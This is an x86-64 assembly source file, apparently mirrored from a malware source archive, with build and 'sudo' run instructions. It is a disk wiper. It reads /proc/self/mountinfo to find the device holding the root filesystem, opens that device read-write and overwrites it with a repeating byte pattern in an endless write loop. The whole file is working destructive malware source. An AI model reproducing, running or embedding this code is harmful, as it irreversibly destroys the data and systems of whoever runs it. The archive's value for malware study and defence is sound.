mirror of
https://github.com/vxunderground/MalwareSourceCode
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145 lines
11 KiB
NASM
145 lines
11 KiB
NASM
;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;;
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;;; ;;; ;;; ;;; ;;; ;;; ;;; ;;;; ;;; ;;; ;;;
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;;;;;;;;; ;;;;;;;;; ;;;;;; ;;; ;;; ;;; ; ;;; ;;; ;;;
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;;; ;;;;;; ;;; ;;; ;;; ;;; ;;;; ;;; ;;;
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;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;; ;;; ;;;;;;;;; ;;;
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;-------------------------------------------------------------------------------
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; /!\ WARNING /!\
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; This program WILL destroy your disk. Run at your own risk, and only
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; on systems you are authorized to destroy.
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;
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; This program opens /proc/self/mountinfo to enumerate filesystems and disks.
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; It finds where the filesystem root (/) is mounted, and writes a pattern to
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; the entirety of the disk.
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;
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; Using /proc/self/mountinfo to find / :
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;
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; [ EXAMPLE ]
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;
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; $ grep '/ / ' /proc/self/mountinfo
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; 32 1 259:2 / / rw,relatime shared:1 - ext4 /dev/nvme0n1p2 rw,errors=remount-ro
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; $ grep '/ / ' /proc/self/mountinfo
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; 25 0 8:0 / / rw,relatime shared:1 - ext4 /dev/sda rw,errors=remount-ro
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;
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; Build:
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; $ nasm -f elf64 p3.asm ; ld p3.o -o p3
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; Run:
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; $ sudo ./p3
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;----------------------------------------------------------------- @netspooky --
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;;;;;;;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;;
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;;; ;;; ;;; ;;; ;;; ;;; ;;;
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;;; ;;;;;;;;; ;;;;;;;;; ;;;;;; ;;;;;;
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;;; ;;; ;;; ;;;;;; ;;; ;;;
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;;; ;;; ;;; ;;; ;;; ;;;;;;;;; ;;;;;;;;;
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;-------------------------------------------------------------------------------
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section .text ;
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global _start ;
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_start: ;
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mov rdi, 0x6f666e69 ; Pushing the ;
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push rdi ; file name ;
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mov rdi, 0x746e756f6d2f666c ; /proc/self/mountinfo ;
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push rdi ; onto the stack ;
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mov rdi, 0x65732f636f72702f ; ... ;
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push rdi ; ... ;
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mov rdi, rsp ; const char *pathname ;
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xor rsi, rsi ; int flags - O_RDONLY ;
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mov rax, rsi ; 0 ;
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inc rax ; 1 ;
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inc rax ; 2 - open syscall ;
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syscall ; ;
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reader: ; Reading /proc/self/mountinfo so we can parse it. ;
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inc rdx ; 1 ;
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shl rdx, 14 ; size_t count - # of bytes to read - 0x400 ;
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sub rsp, rdx ; Make space on the stack - 0x400 ;
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mov r9, rax ; Save fd in r9 for later ;
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mov rdi, rax ; int fd - The file descriptor ;
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mov rsi, rsp ; void *buf - The buffer that is the stack ;
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xor eax, eax ; 0 - read syscall ;
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syscall ; RSI still contains the buffer after syscall ;
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mov di, 0x202f ; '/ ' - The byte pattern to look for ;
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xor rcx, rcx ; 0 ;
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inc rcx ; 1 ;
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shl rcx, 14 ; 0x400 - Counter for reading the file chunk ;
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comp1: ; Looking for the first slash and space in each entry ;
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mov bx, word[rsp] ; Move word to bl ;
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cmp di, bx ; Compare to the '/ ' pattern ;
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je comp2 ; Disk entry found, onto next comparison ;
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dec rcx ; Decrement counter ;
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jz xxit ; Jump if zero to the end ;
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inc rsp ; Read the next byte in the file ;
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jmp comp1 ; Jump back to the top ;
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comp2: ; Here we are looking for the next slash and space ;
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inc rsp ; Since we already know the two bytes at the ;
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inc rsp ; pointer, inc twice to get next two bytes ;
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mov bx, word[rsp] ; Move word to bl ;
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cmp di, bx ; Make the same comparison to '/ ' ;
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je comp3 ; Disk holding / was found ;
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dec rcx ; Decrement counter ;
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jz xxit ; Jump if zero to the end ;
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dec rcx ; Decrement counter ;
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jz xxit ; Jump if zero to the end ;
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inc rsp ; If we didn't find anything, keep going ;
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jmp comp1 ; And back to first comparison ;
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comp3: ; At this point, we have located the '/ / ' record, so we can look for ;
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; the next slash in the disk name ;
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inc rsp ; Increment through the rest of the line ;
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mov bl, byte[rsp] ; Get just one byte now ;
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cmp dil, bl ; dil contains '/' ;
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je prep ; If we found it, we have the disk name ;
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jmp comp3 ; If not, keep going ;
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prep: ; Preparing for the final comparison ;
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xor rcx, rcx ; This will hold the length of the disk name ;
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mov dil, 0x20 ; We are now looking for a space. ;
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getdisk: ; Here we are grabbing the entire disk name ;
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inc rsp ; Increment the index ;
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inc rcx ; Increment our length counter ;
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mov bl, byte[rsp] ; Grab a byte ;
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cmp dil, bl ; Compare to a ' ' char ;
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je opendisk ; If it matches, we found it! ;
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jmp getdisk ; If not, keep going! ;
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opendisk: ; Now we are going to open the disk as a file as we did earlier. ;
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xor rsi, rsi ; 0 ;
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add rsp, 8 ; Pushing a 0 for the null... ;
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push rsi ; ...terminator on the disk name string. ;
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sub rsp, rcx ; Now RSP points to the disk name ;
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mov rdi, rsp ; const char *pathname - pointer to disk name ;
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inc rsi ; 1 ;
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inc rsi ; 2 - O_RDWR ;
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mov rax, rsi ; 2 - open syscall ;
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syscall ;
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writer: ; We now have the disk open in RW mode, no append. ;
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mov rdi, rax ; int fd - The file descriptor ;
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mov rsi, 0x7557575757575775 ; This is the marker payload - uWWWWWWu ;
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push rsi ; Push the payload ;
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mov rsi, rsp ; const void *buf - Payload pointer ;
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xor rax, rax ; 0 ;
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inc rax ; 1 - write syscall ;
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mov rdx, rax ; Get that 1 ;
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shl rdx, 3 ; 8 size_t count - # of bytes to write ;
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syscall ;
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lseeker: ; We have to set up the lseek call so that we will continue writing ;
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; to the next byte in the file upon each additional write. ;
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xor rdx, rdx ; 0 ;
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inc rdx ; int whence; 1 = SEEK_SET ;
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mov rsi, rdx ; 1 ;
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shl rsi, 3 ; off_t offset; 8 - # of bytes to seek ;
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mov rax, rsi ; 8 - lseek syscall ;
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syscall ; Note that RDI still contains fd ;
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writer2: ; The final write loop, likely segfaults ;
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mov rsi, 0xABACABACABACABAC ; This is the pattern payload ;
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push rsi ; Push the payload ;
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mov rsi, rsp ; const void *buf - Payload pointer ;
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xor rax, rax ; 0 ;
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inc rax ; 1 - write syscall ;
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mov rdx, rax ; Get that 1 ;
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shl rdx, 3 ; 8 size_t count - # of bytes to write ;
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syscall ;
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jmp writer2 ; Bring it around town ;
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xxit: ; This is really only here in case of failure ;
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mov al, 0x3c ; exit syscall ;
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xor rdi, rdi ; 0 - Return code ;
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syscall ;------------------------------------------------------------------;
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; Dedicated to those fighting for police accountability worldwide. ;
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;------------------------------------------------------------------;
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